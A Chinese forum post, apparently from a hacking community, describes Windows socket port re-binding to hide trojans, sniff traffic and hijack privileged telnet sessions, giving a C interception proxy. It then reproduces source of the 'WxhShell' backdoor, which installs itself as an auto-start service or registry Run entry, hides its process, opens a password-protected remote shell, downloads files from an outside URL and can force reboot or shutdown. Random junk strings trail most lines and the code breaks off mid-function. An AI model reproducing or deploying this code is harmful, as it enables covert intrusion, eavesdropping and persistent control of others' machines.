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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V9BW@G@9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Wq1 jTIQ  
R/ZScOW[  
  saddr.sin_family = AF_INET; % ERcFI]G  
;: 2U}p^-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kY~4AH  
5z!$=SFz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XH$r(@Z\7  
YiDOV)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,dCEy+  
bT^dtEr[  
  这意味着什么?意味着可以进行如下的攻击: S*V}1</L  
Xi98:0<=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0yI1r7yNB+  
hcj}6NXc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tO3R&"{  
)_=2lu3%{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /D3{EjUE=  
zTw"5N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _y^r==  
p/HDG ^T:u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2H)4}5H  
7PX`kI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $ItjVc@U  
73D< wMgZF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mOsp~|d  
=Nxkr0])!  
  #include gVOAB-nw  
  #include 0<-E)\:[g  
  #include r[a7">n  
  #include    E=p+z"Ui  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;mG*Rad  
  int main() :-46"bP.  
  { 67II9\/  
  WORD wVersionRequested; + O.-o/  
  DWORD ret; $s/E } X  
  WSADATA wsaData; >5t%_/yeB  
  BOOL val; 9qB0F_xl  
  SOCKADDR_IN saddr; q*l4h u%3  
  SOCKADDR_IN scaddr; S%i^`_=Q  
  int err; ZNX38<3h  
  SOCKET s; l4oyF|oJTH  
  SOCKET sc; |1~n<=`Z  
  int caddsize; 'p&,'+x  
  HANDLE mt; Hsf::K x  
  DWORD tid;   _s=H|#l  
  wVersionRequested = MAKEWORD( 2, 2 ); lD/9:@q\V  
  err = WSAStartup( wVersionRequested, &wsaData ); v _MQ]X  
  if ( err != 0 ) { l<`>  
  printf("error!WSAStartup failed!\n"); (90/,@6 6l  
  return -1; b|d-vnYE  
  } CI'RuR3y]Z  
  saddr.sin_family = AF_INET; iAwEnQ3h  
   50^ux:Uv+N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  p+h$]CH  
]dpL PR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;Y?MbD  
  saddr.sin_port = htons(23); >.iF,[.[F<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f~`=I NrU  
  { Q5+1'mzAB  
  printf("error!socket failed!\n"); -Uwxmy+  
  return -1; h+FM?ct6}  
  } &0F' Ca  
  val = TRUE; )D,KG_7l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t~) P1Lof\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A9$x8x*Lt  
  { o$rjGa l  
  printf("error!setsockopt failed!\n"); k {*QU(  
  return -1; ysW})#7X  
  } &]nx^C8V;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %;,fI'M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hJb2y`,q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 z%82Vt!a5  
.,bpFcQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;A*SuFbV  
  { &|/_"*uM  
  ret=GetLastError(); 5?kfE  
  printf("error!bind failed!\n"); ?h= n5}Y  
  return -1; $5R2QNg n  
  } cMw<3u\  
  listen(s,2); 54+(o6E<  
  while(1) *GT=U(d  
  { gxv^=;2C  
  caddsize = sizeof(scaddr); m\L`$=eO8  
  //接受连接请求 JE?rp1.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8QrpNSj4  
  if(sc!=INVALID_SOCKET) j[G`p^ul  
  { jf~](TK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k?+ 7%A]  
  if(mt==NULL) WAa45G  
  { B*(]T|ff<  
  printf("Thread Creat Failed!\n"); utlr|m Xc  
  break; 53HA6:Q[  
  } ! _S#8"  
  } ~||0lj.D  
  CloseHandle(mt); ~KBa-i%o  
  } T6U/}&{O  
  closesocket(s); zJe KB8  
  WSACleanup(); ;M:AcQZ|_  
  return 0; UVo`jb|> o  
  }   `2mddx8  
  DWORD WINAPI ClientThread(LPVOID lpParam) x< A-Ws{^V  
  { -NBVUUAgN  
  SOCKET ss = (SOCKET)lpParam; Bm$|XS3cD  
  SOCKET sc; l4bytI{63  
  unsigned char buf[4096]; ig,.>'+l  
  SOCKADDR_IN saddr; :<QknU}dwy  
  long num; M.W X&;>  
  DWORD val; T ozx0??)  
  DWORD ret; 3U[O :  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U"PcNQy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (2g a: }K  
  saddr.sin_family = AF_INET; )4yP(6|lx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8dGsV5"*  
  saddr.sin_port = htons(23); X0/slOT  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `Ij@;=(  
  { ma.84~m  
  printf("error!socket failed!\n"); J]F&4 O  
  return -1; I |Oco?Q"  
  } }Q\%tZC#T  
  val = 100; #-/W?kD  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wZqYtJ  
  { oz) [ -  
  ret = GetLastError(); =)a24PDG  
  return -1; cS ~OxAS  
  } ]I?.1X5d0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uO%0rKW  
  { SyWZOE%p  
  ret = GetLastError(); :gVUk\)  
  return -1; I'/3_AX  
  } K d&/9<{>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FY1iY/\Cn  
  { E }L Hp  
  printf("error!socket connect failed!\n"); `|dyT6V0I_  
  closesocket(sc); mUYRioNj  
  closesocket(ss); ZT0\V ]!B  
  return -1; {)[o*+9  
  } YvR bM  
  while(1) r/YJ,2!  
  { ij" ~]I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 acd[rjeT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 A;oHji#*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uo9#(6  
  num = recv(ss,buf,4096,0); Q]ersA8 V>  
  if(num>0) |Y9>kXMl  
  send(sc,buf,num,0); F.9}jd{  
  else if(num==0) hZ&KE78?  
  break; @@65t'3S  
  num = recv(sc,buf,4096,0); +7_qg i7:  
  if(num>0) 0=Z[6Q@:  
  send(ss,buf,num,0); YF%gs{  
  else if(num==0) T &ZQ ie/  
  break; n;g'?z=hy  
  } 5ZCu6 A  
  closesocket(ss); Iy<>-e"|  
  closesocket(sc); >jm(2P(R   
  return 0 ; afm\Iv[*  
  } p.DQ|?  
>)>f~>  
gq=t7b  
========================================================== ,81%8r  
 vy<W4  
下边附上一个代码,,WXhSHELL +|A`~\@N  
J'44j;5&  
========================================================== 56v G R(  
nm^HL|  
#include "stdafx.h" =sJ?]U  
R\j~X@vI  
#include <stdio.h> &K ~k'P~m  
#include <string.h> tsXKhS;/w  
#include <windows.h> 7J'%;sH  
#include <winsock2.h> tl#sCf!c  
#include <winsvc.h> @8d 3  
#include <urlmon.h> m1$tf ^  
inut'@=G/  
#pragma comment (lib, "Ws2_32.lib") K~W(ZmB  
#pragma comment (lib, "urlmon.lib") EVmBLH-a  
6^`iuC5  
#define MAX_USER   100 // 最大客户端连接数 eqx }]#  
#define BUF_SOCK   200 // sock buffer 1I Xtu   
#define KEY_BUFF   255 // 输入 buffer *2AD#yIKC  
Uh }PB3WZ  
#define REBOOT     0   // 重启 r!:yUPv  
#define SHUTDOWN   1   // 关机 |iM,bs  
O?uICnmi6  
#define DEF_PORT   5000 // 监听端口 RvzZg %)  
w~lH2U'k}  
#define REG_LEN     16   // 注册表键长度 Xw H>F7HPe  
#define SVC_LEN     80   // NT服务名长度 dC=[o\  
4G&`&fff]  
// 从dll定义API \Kl20?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q\Ek U.[I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /%@;t@BK4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >eJ <-3L;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gZ@+62  
RGW@@  
// wxhshell配置信息 'I[?R&j$G  
struct WSCFG { fdl.3~.C  
  int ws_port;         // 监听端口 c(Q@5@1y:  
  char ws_passstr[REG_LEN]; // 口令 H:fKv7XL  
  int ws_autoins;       // 安装标记, 1=yes 0=no #QNN;&L]R  
  char ws_regname[REG_LEN]; // 注册表键名 JT+ c7W7  
  char ws_svcname[REG_LEN]; // 服务名 dN8Mfa)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q}BMvR 9w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z^bS+0S5x!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VAPeMO ck  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EX,>V,.UV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SNj-h>&Mha  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q}U+BTCZ  
;[<(4v$  
}; =oAS(7o  
`YhGd?uu$  
// default Wxhshell configuration zv]ZEWVzc  
struct WSCFG wscfg={DEF_PORT, A3]A5s6  
    "xuhuanlingzhe", yw1 &I^7  
    1, ^rWg:fb  
    "Wxhshell", atL<mhRz  
    "Wxhshell", -Vn#Ab_C  
            "WxhShell Service", g5V\R*{  
    "Wrsky Windows CmdShell Service", &Ok1j0~~  
    "Please Input Your Password: ", 35\ |#2qw6  
  1, =p5DT  
  "http://www.wrsky.com/wxhshell.exe", ]#:WL)@  
  "Wxhshell.exe" mx Nd_{n  
    }; h}O tz "  
`/O`%6,f1!  
// 消息定义模块 n !)$e;l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3H2~?CaJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0jTReY-W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z8\YMr 6o  
char *msg_ws_ext="\n\rExit."; K[[~G1Z  
char *msg_ws_end="\n\rQuit."; ee {ToK  
char *msg_ws_boot="\n\rReboot..."; 4@9Pd &I  
char *msg_ws_poff="\n\rShutdown..."; +x]/W|5  
char *msg_ws_down="\n\rSave to "; [.#nM  
sz9W}&(j  
char *msg_ws_err="\n\rErr!"; cBxGGggB  
char *msg_ws_ok="\n\rOK!"; O<S.fr,  
#&Hi0..y  
char ExeFile[MAX_PATH]; IuwE&#  
int nUser = 0; !"^Zr]Qt+\  
HANDLE handles[MAX_USER]; -.Wcz|  
int OsIsNt; W!{RJWe  
D<WnPLA$g  
SERVICE_STATUS       serviceStatus; :[0 R F^2}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5kGniG?T#  
F0$w9p  
// 函数声明 ale'-V)5  
int Install(void); gd;!1GNi]  
int Uninstall(void); #Oka7.yz  
int DownloadFile(char *sURL, SOCKET wsh); 8(1*,CJQg  
int Boot(int flag); sfF~k-  
void HideProc(void); $1yy;IyR  
int GetOsVer(void); G6p gG+w  
int Wxhshell(SOCKET wsl); { 4J.  
void TalkWithClient(void *cs); U1 _"D+XB  
int CmdShell(SOCKET sock); T^v763%  
int StartFromService(void); .a4,Lr#q.  
int StartWxhshell(LPSTR lpCmdLine); BA@E  
56;u 7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "&6vFmr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^/C\:hw  
eF+F"|1h  
// 数据结构和表定义 YBt=8`r  
SERVICE_TABLE_ENTRY DispatchTable[] = 64B.7S88  
{ kL8rqv^  
{wscfg.ws_svcname, NTServiceMain}, 9c@M(U@Yh  
{NULL, NULL} ng}C$d . I  
}; K_YrdA)6  
)Zq'r L<  
// 自我安装 ciS +.%7  
int Install(void) g,,wG k  
{ ?fxM 1<8  
  char svExeFile[MAX_PATH]; g+#<;Gbpe  
  HKEY key; h>pu^ `hk  
  strcpy(svExeFile,ExeFile); Xg dBLb  
/4x\}qvU  
// 如果是win9x系统,修改注册表设为自启动 Q y qOtRk  
if(!OsIsNt) { 'K7\[if{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { En\@d@j<u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M<-Q8 a~  
  RegCloseKey(key); ;,77|]<XE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Oiib2Ov  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y 9$jJ1V  
  RegCloseKey(key); ~1O|4mssS  
  return 0; N@d~gE&^  
    } =u2 z3$  
  } Spn[:u@  
} 24J c`%7,=  
else { +>PsQ^^x  
$hm[x$$  
// 如果是NT以上系统,安装为系统服务 C.?^] Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n ]g"H  
if (schSCManager!=0) t3)6R(JC  
{ lOm01&^"E  
  SC_HANDLE schService = CreateService /a\i  
  ( $_S-R 3L\  
  schSCManager, x?L0R{?WW  
  wscfg.ws_svcname, 505c(+  
  wscfg.ws_svcdisp, mG~k f]Y  
  SERVICE_ALL_ACCESS, "rB B&l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T AG@Ab  
  SERVICE_AUTO_START, gX" -3w  
  SERVICE_ERROR_NORMAL, \c2x udU  
  svExeFile, #D9.A7fCc5  
  NULL, \,13mB6  
  NULL, <|r|s  
  NULL,  }u8(7  
  NULL, uWJJ\  
  NULL u8c@q'_  
  ); Sr \y1nt  
  if (schService!=0) ;"M6}5dQ4  
  { ~vXbh(MX  
  CloseServiceHandle(schService); 8dR `T}  
  CloseServiceHandle(schSCManager); 8&JB_%Gb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y i$+rPF1  
  strcat(svExeFile,wscfg.ws_svcname); KKC%!Xy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n.g-%4\q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8:0/Cj  
  RegCloseKey(key); gvI!Ice#  
  return 0; l`"?K D  
    } "qgwuWbM  
  } jL-2 }XrA  
  CloseServiceHandle(schSCManager); ,7d/KJ^7  
} F^GNOD3J  
} f#z:ILG=  
Ch]d\GM  
return 1; e@P(+.Ke  
} ~cc }yDe  
Y"lEMY  
// 自我卸载 Ph yIea  
int Uninstall(void) rt^~ I \V  
{ BL&AZv/T  
  HKEY key; N**)8(  
`df!-\#  
if(!OsIsNt) { O50_qu33ju  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ),yar9C  
  RegDeleteValue(key,wscfg.ws_regname); YZ>L_$:q  
  RegCloseKey(key); x$q}lJv_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X):7#x@uy  
  RegDeleteValue(key,wscfg.ws_regname); XP)^81i|  
  RegCloseKey(key); =\lw.59  
  return 0; # Wi?I =,  
  } Nvd(?+c  
} _0+X32HjJ  
} GST#b6S  
else { /0}Z>i K  
sT;wHtU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y\9}LgIvr  
if (schSCManager!=0) pVc+}Wzh  
{ Qs\a&Q=0H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U)G.Bst  
  if (schService!=0) e*Wk;D&  
  { x*H#?.E  
  if(DeleteService(schService)!=0) { +j{Cfv$do  
  CloseServiceHandle(schService); =!t;e~^8]  
  CloseServiceHandle(schSCManager); !JXiTI!  
  return 0; ~vz%I^xW  
  } TVNgj.`+u!  
  CloseServiceHandle(schService); %tP*_d:  
  } Q0(6n8i  
  CloseServiceHandle(schSCManager); Ry >y  
} Po58@g  
} yx Om=V  
8xENzTR  
return 1; ^2- <XD)  
} WO.u{vW]'  
VgVDTWs7  
// 从指定url下载文件 Qa,=  
int DownloadFile(char *sURL, SOCKET wsh) TVcA%]y{;  
{ E !ndXz 59  
  HRESULT hr; 7?yS>(VmT  
char seps[]= "/"; K T0t4XPM  
char *token; Go{,< gm  
char *file; fJlNxdVr  
char myURL[MAX_PATH]; n5=U.r  
char myFILE[MAX_PATH]; V22z-$cb  
sQ`G'<!  
strcpy(myURL,sURL); 6C VH)=%  
  token=strtok(myURL,seps); d Gp7EB`  
  while(token!=NULL) _Z(t**Zh6y  
  { 1dLc/, |  
    file=token; (T*$4KGV  
  token=strtok(NULL,seps); OK]QDb  
  } ,gw9R9 x_  
2 `>a(  
GetCurrentDirectory(MAX_PATH,myFILE); }. &ellNQ  
strcat(myFILE, "\\");  U${W3Ra  
strcat(myFILE, file); 36{GZDGQ  
  send(wsh,myFILE,strlen(myFILE),0); >[Vc$[62  
send(wsh,"...",3,0); ;p+'?%Y}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); To(I<W|{  
  if(hr==S_OK) N`Q.u-'  
return 0; 8</wQ6&|  
else =dPokLXn  
return 1; Kkp dcc  
0Ncpi=6  
} |^l_F1+w  
{V/>5pz4e  
// 系统电源模块 \Wfw\x0.  
int Boot(int flag) [uU!\xe  
{ AY5iTbL1  
  HANDLE hToken; Y5tyFi#w[  
  TOKEN_PRIVILEGES tkp; T)gulP  
^7y t>  
  if(OsIsNt) { 3`cA!ZVQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bVUIeX'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n/skDx TE  
    tkp.PrivilegeCount = 1; #B5,k|"/,M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o{y}c->  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 67iI wY*8'  
if(flag==REBOOT) { !Q[v"6?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y2I7Zd .  
  return 0; rD=D.1_   
} O?X[&t  
else { +7b8ye  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _nqnO8^IG4  
  return 0; ?zBu` 7j  
} ULAr!  
  } jn5xYKv  
  else { B`mJT*B[  
if(flag==REBOOT) { U|3!ixk>>w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Nhs!_-_I  
  return 0; dLp1l2h!0  
} tfU*U>j  
else { ]zlA<w8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hiS|&5#  
  return 0; E@ :9|5  
} U=bx30brh%  
} >S I'Q7k  
Z8 v8@Y  
return 1; _P.I+!w:x  
} %C_tBNE <  
7Jlkn=9e:  
// win9x进程隐藏模块 a%r!55.   
void HideProc(void) BI:Cm/ >  
{ W q<t+E[  
,Iyc0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .j:,WF<"l5  
  if ( hKernel != NULL ) FPYk`D  
  { S-Y{Vi"2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P{9:XSa%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R->x_9y-R  
    FreeLibrary(hKernel); <(KCiM=E$  
  } -iiX!@  
_uO$=4Sd  
return; ,m<YS MKX  
} 9InP2u\&:  
*Y(59J2  
// 获取操作系统版本 Y]([K.I=  
int GetOsVer(void) 1w=.vj<d8  
{ 7z$Z=cs  
  OSVERSIONINFO winfo; 2{h2]F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8b?nr;@  
  GetVersionEx(&winfo); x/O;8^b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SxY z)aF~  
  return 1; {<ShUN  
  else Rv&"h_"t  
  return 0; jg?UwR&  
} 'u<e<hU  
y5sH7`2+5  
// 客户端句柄模块 tLOGj?/r  
int Wxhshell(SOCKET wsl)  Gk~aTO  
{ r)|~Rs!y,  
  SOCKET wsh; LWM<[8wJ4  
  struct sockaddr_in client; T!H(Y4A  
  DWORD myID; } [#8>T  
NIQ}A-b  
  while(nUser<MAX_USER) XKTDBaON  
{ DKS1Sm6d0  
  int nSize=sizeof(client); 3 ZOD2: (  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A1p~K*[[  
  if(wsh==INVALID_SOCKET) return 1; %f'pAc|#  
fo,0NxF9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r^ Dm|^f#  
if(handles[nUser]==0) CC=I|/mBM  
  closesocket(wsh); >\1twd{u]  
else 50MM05aC  
  nUser++; Tm`@5  
  } rT` sY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !kSemDC  
]S%_&ZMCM  
  return 0; FXr^ 4B}  
} j9k:!|(2'  
9Vm aB  
// 关闭 socket L~5f*LE$1  
void CloseIt(SOCKET wsh) gg`{kN^r.a  
{ pl>b 6 |  
closesocket(wsh); {O>Td9  
nUser--; 9^!.!%6O$  
ExitThread(0); 9YI@c_1 Q  
} ;((t|  
'KjH|u  
// 客户端请求句柄 QT+kCN  
void TalkWithClient(void *cs) US)i"l7:H*  
{ us.[wp'Sh  
%O9Wm_%  
  SOCKET wsh=(SOCKET)cs; ~S('\h)1  
  char pwd[SVC_LEN]; ^Z)7Z% O  
  char cmd[KEY_BUFF]; n=-vOa%  
char chr[1]; (LK@w9)i;  
int i,j; !U?C _  
Y)k"KRW+  
  while (nUser < MAX_USER) { zCJ"O9G<V  
&Z~_BT  
if(wscfg.ws_passstr) { d[?RL&hJO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4vL\t uoz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2@MpWj4  
  //ZeroMemory(pwd,KEY_BUFF); rS>.!DiYr,  
      i=0; 1#N`elm  
  while(i<SVC_LEN) { s#5#WNzP  
1?QVt fwY  
  // 设置超时 |WaWmp(pQ  
  fd_set FdRead; <*J"6x  
  struct timeval TimeOut; <zqIq9}r  
  FD_ZERO(&FdRead); )s>|;K{  
  FD_SET(wsh,&FdRead); `mcb0  
  TimeOut.tv_sec=8; Ei:m@}g  
  TimeOut.tv_usec=0; K-]) RIM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WblH}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QyA^9@iVs  
M%:\ry4:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yreH/$Ou 8  
  pwd=chr[0]; 0 @#Jz#?  
  if(chr[0]==0xd || chr[0]==0xa) { oPs asa  
  pwd=0; B4un6-<i  
  break; f=91 Z_M  
  } ,$!fyi[;C  
  i++; =A5i84y.2u  
    } #^RIp>NN9  
$z OV*O2  
  // 如果是非法用户,关闭 socket N=u( 3So  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qf K gNZ  
} 7J3A]>qU  
=eY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +ase>'<N#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8o:h/F  
Jhj ]`$J  
while(1) { n5"i'o{w  
hD#Mhy5h  
  ZeroMemory(cmd,KEY_BUFF); #.u &2eyqQ  
{KSLB8gtL  
      // 自动支持客户端 telnet标准   roZn{+f  
  j=0; F$i50s  
  while(j<KEY_BUFF) { yx#!2Z0hw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V+y|C[A F  
  cmd[j]=chr[0]; gGNo!'o  
  if(chr[0]==0xa || chr[0]==0xd) { b:9"nALgC  
  cmd[j]=0; KOR*y(*8  
  break; d3a!s  
  } 0<uL0FOT  
  j++; KYkS ^v  
    } rk %pA-P2  
!JdZ0l  
  // 下载文件 0Bgj.?l  
  if(strstr(cmd,"http://")) { a:P+HU:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %d:cC:`  
  if(DownloadFile(cmd,wsh)) q !}~c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vZQraY nJ  
  else R,.qQF\*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O\q6T7bfRW  
  } !*DY dqQ/  
  else { }`Wo(E}O  
>G1]#'6;  
    switch(cmd[0]) { <b~~X`Z  
  7&etnQJ{  
  // 帮助 CNV^,`FX  
  case '?': {  {y{O ze  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); on hLhrZ  
    break; mb_6f:Qh3  
  } DIYR8l}x  
  // 安装 \*5z0A9)5)  
  case 'i': { S^1ZsD.  
    if(Install()) ??Urm[Y.Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .,VLQ btg  
    else `E;xI v|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uYO$gRem  
    break; -m ,Y6  
    } I<W<;A  
  // 卸载 kN*I_#  
  case 'r': { ?w'03lr%  
    if(Uninstall()) owa&HW/_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sOz {spA  
    else H9;IA>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uQ ]ZMc  
    break; yz>S($u  
    } 1.,KN:qe  
  // 显示 wxhshell 所在路径 t\:=|t,  
  case 'p': { <2O#!bX1  
    char svExeFile[MAX_PATH]; "\lO Op^-  
    strcpy(svExeFile,"\n\r"); *k&V;?x|wt  
      strcat(svExeFile,ExeFile); 6[FXgCb  
        send(wsh,svExeFile,strlen(svExeFile),0); <D&  Ep  
    break; V~8]ag4  
    } lRS'M,/  
  // 重启 %IIFLlD  
  case 'b': { iig4JP'h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _`*G71PS  
    if(Boot(REBOOT)) //3fgoly  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `"V}Wq ?I  
    else { lwG)&qyVd  
    closesocket(wsh); rw 2i_,.*~  
    ExitThread(0); B}zBbB  
    } :rk6Stn$z  
    break; Ii3F|Vb G  
    } 1#|lt\T  
